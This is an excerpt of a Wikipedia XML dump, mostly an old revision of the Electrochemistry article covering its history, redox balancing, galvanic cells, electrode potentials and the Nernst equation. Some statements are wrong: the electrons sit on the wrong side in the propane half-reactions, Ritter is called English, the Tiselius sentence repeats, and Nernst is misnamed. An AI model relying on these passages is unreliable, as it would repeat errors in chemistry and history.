:&lt;math&gt;{1 \mbox{ eV} \over k} = {1.6022 \times 10^{-19} \mbox{J} \over 1.380650 \times 10^{-23} \mbox{J/K}} = 11605 \mbox{ K}&lt;/math&gt;

For example, a typical [[magnetic confinement fusion]] plasma is 15 keV, or 174000000 kelvin.

==See also==
*[[Orders of magnitude (energy)]]

== External links ==
*[http://www1.bipm.org/en/si/si_brochure/chapter4/table7.html BIPM's definition of the electronvolt]
*[http://www.projects.ex.ac.uk/trol/scol/index.htm Conversion Calculator for Units of ENERGY]
*http://physics.nist.gov/cuu/Constants physical constants reference; CODATA data

&lt;!--Interwiki--&gt;
&lt;!--Categories--&gt;
[[Category:Units of energy]]

[[bg:Електронволт]]
[[br:Elektron-volt]]
[[ca:Electronvolt]]
[[cs:Elektronvolt]]
[[da:Elektronvolt]]
[[de:Elektronenvolt]]
[[el:Ηλεκτρονιοβόλτ]]
&lt;!--[[en:Electronvolt]]--&gt;
[[es:Electronvoltio]]
[[fr:Électron-volt]]
[[gl:Electronvoltio]]
[[ko:전자볼트]]
[[it:Elettronvolt]]
[[he:אלקטרונוולט]]
[[lt:Elektronvoltas]]
[[hu:Elektronvolt]]
[[nl:Elektronvolt]]
[[ja:電子ボルト]]
[[no:Elektronvolt]]
[[pl:Elektronowolt]]
[[pt:Elétron-volt]]
[[ru:Электронвольт]]
[[sl:Elektronvolt]]
[[fi:Elektronivoltti]]
[[sv:Elektronvolt]]
[[uk:Електронвольт]]
[[zh:電子伏特]]</text>
    </revision>
  </page>
  <page>
    <title>Elliptical Curve Cryptography</title>
    <id>9599</id>
    <revision>
      <id>15907473</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Elliptic_curve_cryptography]]
</text>
    </revision>
  </page>
  <page>
    <title>ElementalAllotropes</title>
    <id>9600</id>
    <revision>
      <id>15907474</id>
      <timestamp>2002-10-10T10:30:40Z</timestamp>
      <contributor>
        <username>Malcolm Farmer</username>
        <id>135</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Allotropy]]</text>
    </revision>
  </page>
  <page>
    <title>Electrochemistry</title>
    <id>9601</id>
    <revision>
      <id>42138652</id>
      <timestamp>2006-03-04T01:57:30Z</timestamp>
      <contributor>
        <username>HappyApple</username>
        <id>177620</id>
      </contributor>
      <minor />
      <comment>/* References */ fixed links to other websites</comment>
      <text xml:space="preserve">[[Image:Faraday-Daniell.PNG|thumb|250px|English chemists [[John Frederic Daniell|John Daniell]] ([[relative direction|left]]) and [[Michael Faraday]] ([[relative direction|right]]), both credited to be founders of electrochemistry as known today.]]

'''Electrochemistry''' is a branch of [[chemistry]] that studies the reactions which take place at the interface of an electronic [[conductor (material)|conductor]] (the [[electrode]] composed of a [[metal]] or a [[semiconductor]], including [[graphite]]) and an ionic conductor (the [[electrolyte]]).

If a [[chemical reaction]] is caused by an external [[voltage]], or if a voltage is caused by a chemical reaction, as in a [[battery (electricity)|battery]], it is an ''electrochemical'' reaction. In general, electrochemistry deals with situations where an [[oxidation]] and a [[reduction]] reaction is separated in space. The direct [[charge transfer]] from one molecule to another is not the topic of electrochemistry.

==History==
{{main|History of Electrochemistry}}
===16th to 18th century developments===
[[Image:Guericke-electricaldevice.PNG|thumb|200px|right|[[Germany|German]] [[physicist]] [[Otto von Guericke]] beside his electrical generator while conducting experiment.]]
The [[16th century]] marked the beginning of the electrical understanding. On [[1550s]] English scientist [[William Gilbert]] spent 17 years experimenting with [[magnetism]] and, to a lesser extent, electricity. For his work on magnets, Gilbert became known as the ''&quot;Father of Magnetism.&quot;'' He discovered various methods for producing and strengthening magnets.

In [[1663]] [[Germany|German]] [[physicist]] [[Otto von Guericke]] created the first electric generator, which produced static electricity by applying friction in the machine. The generator was made of a large [[sulfur]] ball cast inside a glass globe, mounted on a shaft. The ball was rotated by means of a crank and a [[static electricity|static electric]] [[spark]] was produced when a pad was rubbed against the ball as it rotated. The globe could be removed and used as source for experiments with electricity.
[[Image:Galvani-frog-legs.PNG|thumb|left|200px|Late [[1780s]] diagram of Galvani's experiment on frog legs.]]
By mid—[[1700s]] [[France|French]] [[chemist]] [[C.F. du Fay|Charles François de Cisternay du Fay]] discovered two types of static electricity, and that like charges repel each other whilst unlike charges attract. Du Fay announced that electricity consisted of two fluids: ''&quot;vitreous&quot;'' (from the [[latin language|Latin]] for ''&quot;glass&quot;''), or positive, electricity; and ''&quot;resinous,&quot;'' or negative, electricity. This was the ''two-fluid theory'' of electricity, which was to be opposed by [[Benjamin Franklin|Benjamin Franklin's]] ''one-fluid theory'' later in the century.

[[Charles-Augustin de Coulomb]] developed the [[law of electrostatic attraction]] in [[1781]] as an outgrowth of his attempt to investigate the law of electrical repulsions as stated by [[Joseph Priestley]] on England.
[[Image:Volta-and-napoleon.PNG|thumb|right|200px|[[Italy|Italian]] [[physicist]] [[Alessandro Volta]] showing his ''&quot;[[Battery (electricity)|battery]]&quot;'' to [[france|french]] [[emperor]] [[Napoleon I of France|Napoleon Bonaparte]] in early [[1800s]].]]
In late [[1700s]] [[Italian]] [[physician]] and [[anatomist]] [[Luigi Galvani]] marked the birth of electrochemistry by establishing a bridge between chemical reactions and electricity on his essay ''&quot;De Viribus Electricitatis in Motu Musculari Commentarius&quot;'' (translated from Latin, Commentary on the Effect of Electricity on Muscular Motion) in [[1791]] where he proposed a ''&quot;nerveo-electrical substance&quot;'' on biological life forms.

On his essay Galvani concluded that animal tissue contained a here-to-fore neglected innate, vital force, which he termed ''&quot;animal electricity,&quot;'' which activated [[nerve]] and [[muscle]] when spanned by [[metal]] [[probe|probes]]. He believed that this new force was a form of electricity in addition to the ''&quot;natural&quot;'' form that is produced by [[lightning]] or by the [[electric eel]] and [[Electric ray|torpedo ray]] and to the ''&quot;artificial&quot;'' form that is produced by [[friction]] (i.e., static electricity).

Galvani's scientific colleagues generally accepted his views, but [[Alessandro Volta]] rejected the idea of an ''&quot;animal electric fluid,&quot;'' replying that the frog's legs responded to differences in [[metal temper]], composition, and [[bulk]]. Galvani refuted this by obtaining muscular action with two pieces of the same material.

===19th century===
[[Image:Sir Humphry Davy.jpg|thumb|left|150px|Sir Humphry Davy's portrait in [[1800s]].]]
In [[1800]], English chemists [[William Nicholson]] and [[Johann Ritter]] succeeded in decomposing water into [[hydrogen]] and [[oxygen]] by [[electrolysis]]. Soon thereafter Johann discovered the process of [[electroplating]]. He also observed the amount of metal deposited and the amount of oxygen produced during an electrolytic process that depended on the distance between the [[electrodes]]. By [[1801]] Ritter observed [[thermoelectricity|thermoelectric currents]] and anticipated the discovery of thermoelectricity by [[Thomas Johann Seebeck]].

By [[1810s]] [[William Hyde Wollaston]] made improvements to the [[galvanic pile]].
Sir [[Humphry Davy]] work with electrolysis led to conclude that the production of electricity in simple [[electrolytic cell|electrolytic cells]] resulted from chemical action and that chemical combination occurred between substances of opposite charge. This work led directly to the isolation of [[sodium]] and [[potassium]] from their compounds and of the [[alkaline earth metals]] from theirs in [[1808]].

[[Hans Christian Ørsted]] discovery of the magnetic effect of electrical currents in [[1820]] was immediately recognized as an epoch-making advance, although he left further work on [[electromagnetism]] to others. [[André-Marie Ampère]] quickly repeated Ørsted's experiment, and formulated them mathematically.
[[Image:ChemicalHistoryofaCandle.PNG|thumb|right|140px|Professor Michael Faraday's portrait on his book [[The Chemical History of a Candle]].]]
In [[1821]], Estonian-German [[physicist]] [[Thomas Johann Seebeck]] demonstrated the electrical potential in the juncture points of two dissimilar metals when there is a [[heat]] difference between the joints.

In [[1827]] German scientist [[Georg Ohm]] expressed his [[Ohm's law|law]] in this famous book ''&quot;Die galvanische Kette, mathematisch bearbeitet&quot;'' (The Galvanic Circuit Investigated Mathematically) in which he gave his complete theory of electricity.

In [[1832]] [[Michael Faraday]]'s experiments on Electrochemistry led him to state his two laws of electrochemistry.  In [[1836]] [[John Frederic Daniell|John Daniell]] invented a primary cell in which [[hydrogen]] was eliminated in the generation of the electricity. Daniell had solved the problem of [[polarization]]. In his laboratory he had learned to [[alloy]] the [[amalgam|amalgamated]] [[zinc]] of Sturgeon with [[Mercury (element)|mercury]] would produce better voltage.
[[Image:Arrhenius2.jpg|thumb|left|140px|Swedish chemist [[Svante Arrhenius]] portrait circa [[1880s]].]]
[[William Robert Grove|William Grove]] produced the first [[fuel cell]] in [[1839]]. [[Wilhelm Weber]] developed, in [[1846]], the [[electrodynamometer]]. In [[1866]], [[Georges Leclanché]] patented a new cell which eventually became the forerunner to the world's first widely used battery, the [[zinc carbon cell]].

[[Svante August Arrhenius]] published his thesis in [[1884]] on ''Recherches sur la conductibilité galvanique des électrolytes'' (Investigations on the galvanic conductivity of electrolytes). From his results the author concluded that [[electrolyte|electrolytes]], when dissolved in water, become to varying degrees split or dissociated into electrically opposite positive and negative ions.

In [[1886]] [[Paul Héroult]] and [[Charles Martin Hall|Charles M. Hall]] developed a successful method to obtain [[aluminum]] by using principles described by Michael Faraday.

In [[1894]] [[Wilhelm Ostwald|Friedrich Ostwald]] concluded important studies of the [[electrical conductivity]] and electrolytic dissociation of [[organic acid|organic acids]].
[[Image:Walther Nernst.jpg|thumb|right|140px|German scientist [[Walther Nernst]] portrait in [[1910s]].]]
[[Hermann Nernst|Hermann Nernst's]] developed the theory of the [[electromotive force]] of the voltaic cell in [[1888]]. In [[1889]], he showed how the characteristics of the current produced could be used to calculate the [[free energy]] change in the chemical reaction producing the current. He constructed an equation, known as [[Nernst Equation]], which related the voltage of a cell to its properties.

In [[1898]] [[Fritz Haber]] showed that definite reduction products can result on electrolytic process if the potential at the [[cathode]] is kept constant. In [[1898]] he explained the reduction of [[nitrobenzene]] in stages at the cathode and this became the model for other similar reduction processes.

===The 20th century and recent developments ===
In [[1909]], [[Robert Andrews Millikan]] began a series of experiments to determine the electric charge carried by a single [[electron]].

In [[1923]], [[Johannes Nicolaus Brønsted]] and [[Thomas Martin Lowry]] published essentially the same theory about how acids and bases behave using electrochemical basis.

[[Arne Tiselius]] developed the first sophisticated [[electrophoretic]] apparatus in [[1937]]
and some years later the first sophisticated [[electrophoretic]] apparatus was developed in [[1937]], who was awarded the [[1948]] [[Nobel prize]] for his work in protein [[electrophoresis]].

A year later the [[International Society of Electrochemistry]] (ISE) was founded in [[1949]]

By the [[1960s]]&amp;ndash;[[1970s]] [[quantum electrochemistry]] was developed by [[Revaz Dogonadze]] and his pupils.

==Principles==
===Redox reactions===
{{main|Redox reaction}}
Electrochemical process are redox reactions where [[energy]] is produced by a [[Spontaneous process|spontaneous reaction]] which produces electricity, otherwise [[electrical current]] stimulates a chemical reaction.
In redox reactions atoms oxidation state changes, hence there is an [[electron transfer]].

===Oxidation and Reduction===
The [[chemical element|element]]s involved in an electrochemical [[chemical reaction |reaction]] are characterized by the number of [[electron]]s each has. The ''oxidation state'' of an [[ion]] is the number of electrons it has accepted or donated compared to its neutral state (which is defined as having an oxidation state of 0). If an [[atom]] or ion donates an [[electron]] in a reaction its oxidation state is increased, if an element accepts an electron its oxidation state is decreased.

For example when [[sodium]] reacts with [[chlorine]], sodium donates one electron and gains an oxidation state of +1. Chlorine accepts the electron and gains an oxidation state of &amp;minus;1. The sign of the oxidation state (positive/negative) actually corresponds to the value of each ion's electronic charge. The attraction of the differently charged sodium and chlorine ions is the reason they then form an [[ionic bond]].

The loss of electrons of a substance is called [[oxidation]], and the gain of electrons is [[reduction]]. This can be easily remembered through the use of [[mnemonic]] devices. Two of the most popular are ''&quot;OIL RIG&quot;'' (Oxidation Is Loss, Reduction Is Gain) and ''&quot;LEO&quot;'' says ''&quot;GER&quot;'' (Lose Electrons: Oxidization, Gain Electrons: Reduction).

The substance which loses electrons is also known as the ''reducing agent'', or ''reductant'', and the substance which accepts the electrons is called the ''oxidizing agent'', or ''oxidant''. The oxidizing agent is always being reduced in a reaction; the reducing agent is always being oxidized.

The gain of [[oxygen]], loss of [[hydrogen]] and increase in oxidation number is also considered to be [[oxidation]], while the inverse is true for reduction.

A reaction in which both oxidation and reduction is occurring is called a '''[[redox]] reaction'''. These are very common; as one substance loses electrons the other substance accepts them.

Oxidation requires an oxidant. Oxygen is an oxidant, but not the only one. Despite the name, an oxidation reaction does not necessarily need to involve oxygen. In fact, even [[fire]] can be fed by an oxidant other than oxygen: [[fluorine]] fires are often unquenchable, as fluorine is an even stronger oxidant (it has a higher [[electronegativity]]) than oxygen.

===Balancing redox reactions===
{{main|Chemical equation}}
Electrochemical reactions in water are better understood by balancing redox reactions using the [[Ion-Electron Method]] where [[Proton|H&lt;sup&gt;+&lt;/sup&gt;]] , [[Hydroxide|OH&lt;sup&gt;-&lt;/sup&gt;]] ion, [[Water (molecule)|H&lt;sub&gt;2&lt;/sub&gt;O]] and electrons (to compensate the oxidation changes) are added to cell's [[Half reaction|half reactions]] for oxidation and reduction.
====Acid medium====
In acid medium [[Proton|H]] atoms and water are added to [[half reaction|half reactions]] to balance the overall reaction.
For example on [[Manganese]] reacts to [[Sodium bismuthate]].
:&lt;math&gt;\mbox{Reaction unbalanced: }\mbox{Mn}^{2+}(aq) + \mbox{NaBiO}_3(s)\rightarrow\mbox{Bi}^{3+}(aq) + \mbox{MnO}_4^{-}(aq)\,&lt;/math&gt;
:&lt;math&gt;\mbox{Oxidation: }\mbox{4H}_2\mbox{O}(l)+\mbox{Mn}^{2+}(aq)\rightarrow\mbox{MnO}_4^{-}(aq) + \mbox{8H}^{+}(aq)+\mbox{5e}^{-}\,&lt;/math&gt;
:&lt;math&gt;\mbox{Reduction: }\mbox{2e}^{-}+ \mbox{6H}^{+}(aq) + \mbox{BiO}_3^{-}(s)\rightarrow\mbox{Bi}^{3+}(aq) + \mbox{3H}_2\mbox{O}(l)\,&lt;/math&gt;
Finally the reaction is balanced by [[multiplication|multiplying]] the number of electrons from the reduction half reaction to oxidation half reaction and vice versa and adding both half reactions, thus solving the equation.
:&lt;math&gt;\mbox{8H}_2\mbox{O}(l)+\mbox{2Mn}^{2+}(aq)\rightarrow\mbox{2MnO}_4^{-}(aq) + \mbox{16H}^{+}(aq)+\mbox{10e}^{-}\,&lt;/math&gt;
:&lt;math&gt;\mbox{10e}^{-}+ \mbox{30H}^{+}(aq) + \mbox{5BiO}_3^{-}(s)\rightarrow\mbox{5Bi}^{3+}(aq) + \mbox{15H}_2\mbox{O}(l)\,&lt;/math&gt;
Reaction balanced:
:&lt;math&gt;\mbox{14H}^{+}(aq) + \mbox{2Mn}^{2+}(aq)+ \mbox{5NaBiO}_3^{-}(s)\rightarrow\mbox{7H}_2\mbox{O}(l) + \mbox{2MnO}_4^{-}(aq)+\mbox{5Bi}^{3+}(aq)+\mbox{5Na}^{+}(aq)\,&lt;/math&gt;
====Basic medium====
In basic medium [[Hydroxide|OH&lt;sup&gt;-&lt;/sup&gt;]] ions and [[Water (molecule)|water]] are added to half reactions to balance the overall reaction. For example on reaction between [[Potassium permanganate]] and [[Sodium sulfite]].
:&lt;math&gt;\mbox{Reaction unbalanced: }\mbox{KMnO}_{4}+\mbox{Na}_{2}\mbox{SO}_3+\mbox{H}_2\mbox{O}\rightarrow\mbox{MnO}_{2}+\mbox{Na}_{2}\mbox{SO}_{4}+\mbox{KOH}\,&lt;/math&gt;
:&lt;math&gt;\mbox{Reduction: }\mbox{3e}^{-}+\mbox{2H}_{2}\mbox{O}+\mbox{MnO}_{4}^{-}\rightarrow\mbox{MnO}_{2}+\mbox{4OH}^{-}\,&lt;/math&gt;
:&lt;math&gt;\mbox{Oxidation: }\mbox{2OH}^{-}+\mbox{SO}^{2-}_{3}\rightarrow\mbox{SO}^{2-}_{4}+\mbox{H}_{2}\mbox{O}+\mbox{2e}^{-}\,&lt;/math&gt;
The same procedure as followed on acid medium by multiplying electrons to opposite half reactions solve the equation thus balancing the overall reaction.
:&lt;math&gt;\mbox{6e}^{-}+\mbox{4H}_{2}\mbox{O}+\mbox{2MnO}_{4}^{-}\rightarrow\mbox{2MnO}_{2}+\mbox{8OH}^{-}\,&lt;/math&gt;
:&lt;math&gt;\mbox{6OH}^{-}+\mbox{3SO}^{2-}_{3}\rightarrow\mbox{3SO}^{2-}_{4}+\mbox{3H}_{2}\mbox{O}+\mbox{6e}^{-}\,&lt;/math&gt;
Equation balanced:
:&lt;math&gt;\mbox{2KMnO}_{4}+\mbox{3Na}_{2}\mbox{SO}_3+\mbox{H}_2\mbox{O}\rightarrow\mbox{2MnO}_{2}+\mbox{3Na}_{2}\mbox{SO}_{4}+\mbox{2KOH}\,&lt;/math&gt;

====Neutral medium====
The same procedure as used on acid medium is applied, for example on balancing using electron ion method to [[Combustion|complete combustion]] of [[propane gas]].
:&lt;math&gt;\mbox{Reaction unbalanced: }\mbox{C}_{3}\mbox{H}_{8}+\mbox{O}_{2}\rightarrow\mbox{CO}_{2}+\mbox{H}_{2}\mbox{O}\,&lt;/math&gt;
:&lt;math&gt;\mbox{Reduction: }\mbox{4H}^{+} + \mbox{O}_{2}\rightarrow\mbox{H}_{2}\mbox{O}+\mbox{H}_{2}\mbox{O}+ \mbox{4e}^{-}\,&lt;/math&gt;
:&lt;math&gt;\mbox{Oxidation: }\mbox{20e}^{-}+\mbox{6H}_{2}\mbox{O}+\mbox{C}_{3}\mbox{H}_{8}\rightarrow\mbox{3CO}_{2}+\mbox{20H}^{+}\,&lt;/math&gt;
As in acid and basic medium, electrons which were used to compensate oxidation changes are multiplied to opposite half reactions, thus solving the equation.
:&lt;math&gt;\mbox{20H}^{+}+\mbox{5O}_{2}\rightarrow\mbox{5H}_{2}\mbox{O}+\mbox{5H}_{2}\mbox{O}+\mbox{20e}^{-}\,&lt;/math&gt;
:&lt;math&gt;\mbox{20e}^{-}+\mbox{6H}_{2}\mbox{O}+\mbox{C}_{3}\mbox{H}_{8}\rightarrow\mbox{3CO}_{2}+\mbox{20H}^{+}\,&lt;/math&gt;
Equation balanced:
:&lt;math&gt;\mbox{C}_{3}\mbox{H}_{8}+\mbox{5O}_{2}\rightarrow\mbox{3CO}_{2}+\mbox{4H}_{2}\mbox{O}\,&lt;/math&gt;

==Electrochemical cells==
{{main|Electrochemical cell}}
An electrochemical cell is a device capable to produce electric current by a [[spontaneous]] redox reaction. This kind of cell is also known as [[Galvanic cell]] or [[Voltaic cell]], named after [[Luigi Galvani]] and [[Alessandro Volta]], both scientists conducted several experiments on chemical reactions and electric current during the late [[18th century]].
[[Image:Galvanic cell.png|thumb|right|260px|A modified version of [[Galvanic cell|Daniells Cell]]s, a U—Shaped tube is replaced with a porous disk acting as [[saline bridge]] thus electric current is produced.]]
The Galvanic cell's metals dissolve in the [[electrolyte]] at two different rates, leaving some electrons in the rest of the metal, which charges it negative with respect to the electrolyte. Each metal undergoes a different [[half reaction|half-reaction]], giving different dissolving rates, which causes an unequal number of electrons in the two metals. This results in a different electrode potential between the electrolyte and each metal. If an electrical connection, such as a [[wire]] or direct contact, is formed between the two, an electric current appears in the metal.

Electrochemical cell which [[electrode|electrodes]] are [[Zinc]] and [[Copper]] submerged on [[Zinc sulfate]] and [[Copper sulfate]] respectively is known as [[Daniell cell|Daniells cell]].

In a Galvanic cell [[anode]] is defined the electrode where oxidation occurs and [[cathode]] the electrode where the reduction takes place.

Half reactions for a Daniells cell are these:
:&lt;math&gt;\mbox{Zinc electrode (anode) : }\mbox{Zn}(s)\rightarrow\mbox{Zn}^{2+}(aq)+\mbox{2e}^{-}\,&lt;/math&gt;
:&lt;math&gt;\mbox{Copper electrode (cathode) : }\mbox{Cu}^{2+}(aq)+\mbox{2e}^{-}\rightarrow\mbox{Cu}(s)\,&lt;/math&gt;

In order to avoid positive charges to accumulate on anode's compartment an U—shaped tube inverted filled with an [[electrolytic solution]] is placed on the cell, thus allowing flow of electrons and producing [[Direct current|D.C.]] electric current.

Cell's [[voltage]] is often defined as an [[analogy|analogue]] to difference between [[potential energy]] in both heights of a [[waterfall]] on which a [[galvanometer|voltameter]] is capable of measuring the change on [[Electric potential|electrical potential]] between anode and cathode.

Electrochemical cell voltage is also referred to as [[electromotive force]] or [[emf]].

A cell diagram traces the path of the electrons in the electrochemical cell. The reduced form of the metal to be oxidized at the anode is written first, followed by its oxidized form, then the oxidized form of the metal to be reduced at the cathode, and finally the reduced form of the metal at the cathode. A vertical line separates both electrodes and the limit between the phases (oxidation changes); a double vertical line represents the saline bridge on the cell.

Daniell's cell diagram:
:&lt;math&gt;\mbox{Zn}(s)|\mbox{Zn}^{2+}(1M)||\mbox{Cu}^{2+}(1M)|\mbox{Cu}(s)\,&lt;/math&gt;

==Standard electrode potential==
{{Main|Standard electrode potential}}
[[Image:Reduction-potentials2.PNG|thumb|right|260px|The [[standard reduction potentials]] table is determined in a modified version of [[galvanic cell]] using an [[Hydrogen]] [[electrode]] as [[cathode]], because Hydrogen is taken as reference, standard reduction potential for that substance is zero (gray [[highlighter|highlight]]).]]
Standard electrode potential is the value of the standard [[emf]] of a cell in which molecular hydrogen under standard pressure (10&lt;sup&gt;5&lt;/sup&gt; Pa) is oxidized to solvated protons at the left-hand electrode.

The cell potential depends on the difference between each half cell potential. Conventionally the potential associated with each electrode is chosen as the [[reduction]] takes place on the chosen electrode, hence standard electrode potential are [[tabulation|tabulated]] on reduction potentials, thus tables are built on [[Standard reduction potential|standard reduction potentials]] noted as &lt;math&gt;\mbox{E}^{0}_{red}\,&lt;/math&gt;.

Standard cell potential is calculated by the difference between the standard reduction potentials of each electrode.
:&lt;math&gt;\mbox{E}^{o}_{cell}=\mbox{E}^{o}_{red}(cathode)-\mbox{E}^{o}_{red}(anode)&lt;/math&gt;

It is impossible to measure directly half cell standard reduction potential, to avoid this problem a standard reduction potential is assignated to a reference acting as an electrode equivalent to &lt;math&gt;\mbox{E}^{0}_{red}=0\,&lt;/math&gt;. Cell's half reaction used for this procedure is [[hydrogen]] which in [[Standard conditions for temperature and pressure|standard temperature and pressure]] conditions (10&lt;sup&gt;5&lt;/sup&gt; Pa, 298.15&amp;nbsp;K, 1 mol.L&lt;sup&gt;-1&lt;/sup&gt;) acts as a zero volt electrode.

The [[Standard hydrogen electrode|standard hydrogen electrode]] or ([[Standard hydrogen electrode|SHE]]) consists on an inverted glass tube similar to a laboratory [[test tube]], where a light and fine [[platinum]] wire is connected to a thin platinum [[blade]]. This setup is placed in a solution of [[Hydrochloric acid]], plenty of H&lt;sup&gt;+&lt;/sup&gt; ions, gaseous [[hydrogen]] enter through the tube and react over the platinum blade thus allowing reduction and oxidation processes to occur.

[[Standard hydrogen electrode|SHE]] operates exactly as the same way as conventional electrodes on Daniells cell's work; in order to measure the standard reduction potential, SHE replaces one of the electrodes in the electrochemical cell acting as [[cathode]] or [[anode]], thus electric current generated on the cell represents the standard reduction potential for the element which is measured.

For example on Copper standard reduction potential:

:&lt;math&gt;\mbox{Cell diagram}\,&lt;/math&gt;
:&lt;math&gt;\mbox{Pt}(s)|\mbox{H}_{2}(1 atm)|\mbox{H}^{+}(1 M)||\mbox{Cu}^{2+}(1 M)|\mbox{Cu}(s)\,&lt;/math&gt;
:&lt;math&gt;\mbox{E}^{o}_{cell}=\mbox{E}^{o}_{red}(cathode)-\mbox{E}^{o}_{red}(anode)&lt;/math&gt;
At standard temperature pressure conditions cell's [[electromotive force|emf]] (measured by a [[multimeter]]) is 0.34 V, conventionally [[Standard hydrogen electrode|SHE]] has a zero value, thus replacing on previous equation gives:
:&lt;math&gt;\mbox{0.34V}_{cell}=\mbox{E}^{o}_{\mbox{Cu}^{2+}/\mbox{Cu}}-\mbox{E}^{o}_{\mbox{H}^{+}/\mbox{H}_{2}}&lt;/math&gt;
:&lt;math&gt;\mbox{0.34V}_{cell}=\mbox{E}^{o}_{\mbox{Cu}^{2+}/\mbox{Cu}}-0&lt;/math&gt;

Electrochemical cell's [[electromotive force|emf]] value is used to predict whether redox reaction is a [[spontaneous]] process or not. A positive sign for overall cell's standard potential is considered to be spontaneous reaction, a negative sign would predict a spontaneous reaction on the opposite direction.

Changes over [[Stoichiometric coefficient|stoichiometric coefficients]] on balanced cell equation will not change &lt;math&gt;\mbox{E}^{0}_{red}\,&lt;/math&gt; value because standard electrode electrode potential are [[Intensive and extensive properties|intensive properties]].

==Spontaneity of Redox systems==
{{main|Spontaneous process}}

On electrochemical cells, [[chemical energy]] transforms into [[electrical energy]] and is expressed mathematically as the product between cell's emf by [[electrical charge]] in [[Coulombs]].
:&lt;math&gt;\mbox{Electrical energy}=(\mbox{volts})(\mbox{coulombs})\,&lt;/math&gt;
:&lt;math&gt;\mbox{Electrical energy}=\mbox{joules}\,&lt;/math&gt;

Electrochemical cell's total charge is determined by multiplying the number of moles by [[Faraday's constant]] (F).
:&lt;math&gt;\mbox{Total charge}=\mbox{n}\mbox{F}\,&lt;/math&gt;
Faraday's constant is the electrical charge in 1 [[mole]] of [[electrons]], it has been measured experimentally and is equivalent to 96 485.3 [[coulombs]].

Cell's emf measured is the maximum voltage produced, this value is used to calculate the maximum electrical energy which is obtained from a [[chemical reaction]], this energy is referred to as [[electrical work]] and is expressed on the following equation,

:&lt;math&gt;\mbox{W}_{max}=\mbox{W}_{electrical}\,&lt;/math&gt;
:&lt;math&gt;\mbox{W}_{max}=-\mbox{nFE}_{cell}\,&lt;/math&gt;

,thus [[free energy]] is the amount of mechanical (or other) work that can be extracted from a system, replacing this value on previous equation with &lt;math&gt;\Delta G\,&lt;/math&gt;gives the relation between spontaneity and electrochemical cells.

:&lt;math&gt;\Delta G=-\mbox{nFE}_{cell}\,&lt;/math&gt;

The relation between [[Gibbs free energy]] and maximum electrical work may predict (at standard temperature and pressure conditions) whether cell's redox system is a spontaneous process or not.

A [[spontaneous]] electrochemical reaction can be used to generate an
electrical [[current (electricity)|current]], in [[electrochemical cell]]s.  This is the basis of all [[battery (electricity)|batteries]] and [[fuel cell]]s.  For example, gaseous oxygen (O&lt;sub&gt;2&lt;/sub&gt;) and
hydrogen (H&lt;sub&gt;2&lt;/sub&gt;) can be combined in a fuel cell to form water and
energy (a combination of heat and [[electrical energy]], typically).

Conversely, non-spontaneous electrochemical reactions can be driven forward by the application of a current at sufficient [[voltage]]. The [[electrolysis]] of water into gaseous oxygen and hydrogen is a typical example.

The relation between [[equilibrium constant]] and spontaneity based on [[gibbs free energy]] terms on electrochemical cells is expressed as follows:

:&lt;math&gt;\Delta G^{o}=\mbox{-RT ln K}\,&lt;/math&gt;

:&lt;math&gt;\mbox{-nFE}^{o}_{cell}=\mbox{-RT ln K}\,&lt;/math&gt;

Solving both equations express cell's mathematical relation between standard potential, and equilibrium constant.

:&lt;math&gt;\mbox{E}^{o}_{cell}={\mbox{RT} \over \mbox{nF}} \mbox{ln K}\,&lt;/math&gt;
Previous equation can use [[Briggsian logarithm]] as shown below:
:&lt;math&gt;\mbox{E}^{o}_{cell}={0.0592 \mbox{V} \over \mbox{n}} \mbox{log K}\,&lt;/math&gt;

==Cell emf dependency on changes on concentration==
===Nernst Equation===
{{Main|Nernst Equation}}

Calculating cell's potential is not always plausible at standard temperature and pressure conditions. However in [[1900s]] German [[chemist]] [[Walther Hermann Nernst]] proposed a mathematical model to determine electrochemical cell potential where standard conditions cant be reached.

On mid [[1800s]] [[Willard Gibbs]] formulated an equation for spontaneous process at any conditions,
:&lt;math&gt;\Delta G=\Delta G^{o}+\mbox{RT ln Q}\,&lt;/math&gt; ,
Willard stated Q's dependency over reactants and products activity and designated it as their respective [[Activity (chemistry)|chemical activity]].

Walther based on Willard Gibbs work during the mid [[19th century]], formulated a new equation where replaced &lt;math&gt;\Delta G\,&lt;/math&gt;'s value with cell's respective maximum electrical work, on Gibbs equation.

:&lt;math&gt;\mbox{-nFE}=\mbox{-nFE}^{o}+\mbox{RT ln Q}\,&lt;/math&gt;

Finally he replaced &lt;math&gt;\mbox{-nFE}\,&lt;/math&gt;'s value with electrochemical cell potential, thus formulating a new equation which now bears his name.
:&lt;math&gt;\mbox{E}=\mbox{E}^{o}- {\mbox{RT} \over \mbox{nF}} \mbox{ln Q}\,&lt;/math&gt;

Assuming standard conditions (&lt;math&gt;Temperature = 298 K , 25 C\,&lt;/math&gt;) and [[Universal gas constant|R]] = &lt;math&gt;8.3145 {J \over K mol}&lt;/math&gt; the equation above can be expressed on [[Common logarithm|Base—10 logarithm]] as shown below:
:&lt;math&gt;\mbox{E}=\mbox{E}^{o}- {\mbox{0.0592 V} \over \mbox{n}} \mbox{log Q}\,&lt;/math&gt;

===Concentration cells===
{{Main|Concentration cell}}
[[Image:Cell-membrane-electrochemical.PNG|thumb|250px|Calculating [[membrane potential]] is good example where concentration cells are used in biology to understanding cell's [[metabolism]] such as [[Na-K pump|Na&lt;sup&gt;+&lt;/sup&gt;(red) K&lt;sup&gt;+&lt;/sup&gt;(blue) pump]].]]
A concentration cell is an electrochemical cell whose electrodes are from the same material differing on ionic concentrations on both half-cells.

For example an electrochemical cell, where two copper electrodes are submerged on [[blue vitriol|blue vitriol's]] solution, whose concentrations are 0.05 [[Molar concentration|M]] and 2.0 [[Molar concentration|M]] , while connected through wire and saline bridge.

:&lt;math&gt;Cu^{2+}(aq)+2e^{-}\rightarrow \mbox{Cu}(s)&lt;/math&gt;

[[Le Chatelier's principle]] indicates reaction is favourable to reduction as concentration of &lt;math&gt;Cu^{2+}\,&lt;/math&gt; ions increases. Reduction will take place in cell's compartment where concentration is higher and oxidation will occur on the diluted side.

The following cell diagram describes the cell mentioned above:
:&lt;math&gt;Cu(s)|Cu^{2+}(0.05 M)||Cu^{2+}(2.0 M)|Cu(s)\,&lt;/math&gt;
Where both half cell reactions for oxidation and reduction are:
:&lt;math&gt;Oxidation: Cu(s)\rightarrow \mbox{Cu}^{2+} (0.05 M) + 2e^{-}\,&lt;/math&gt;
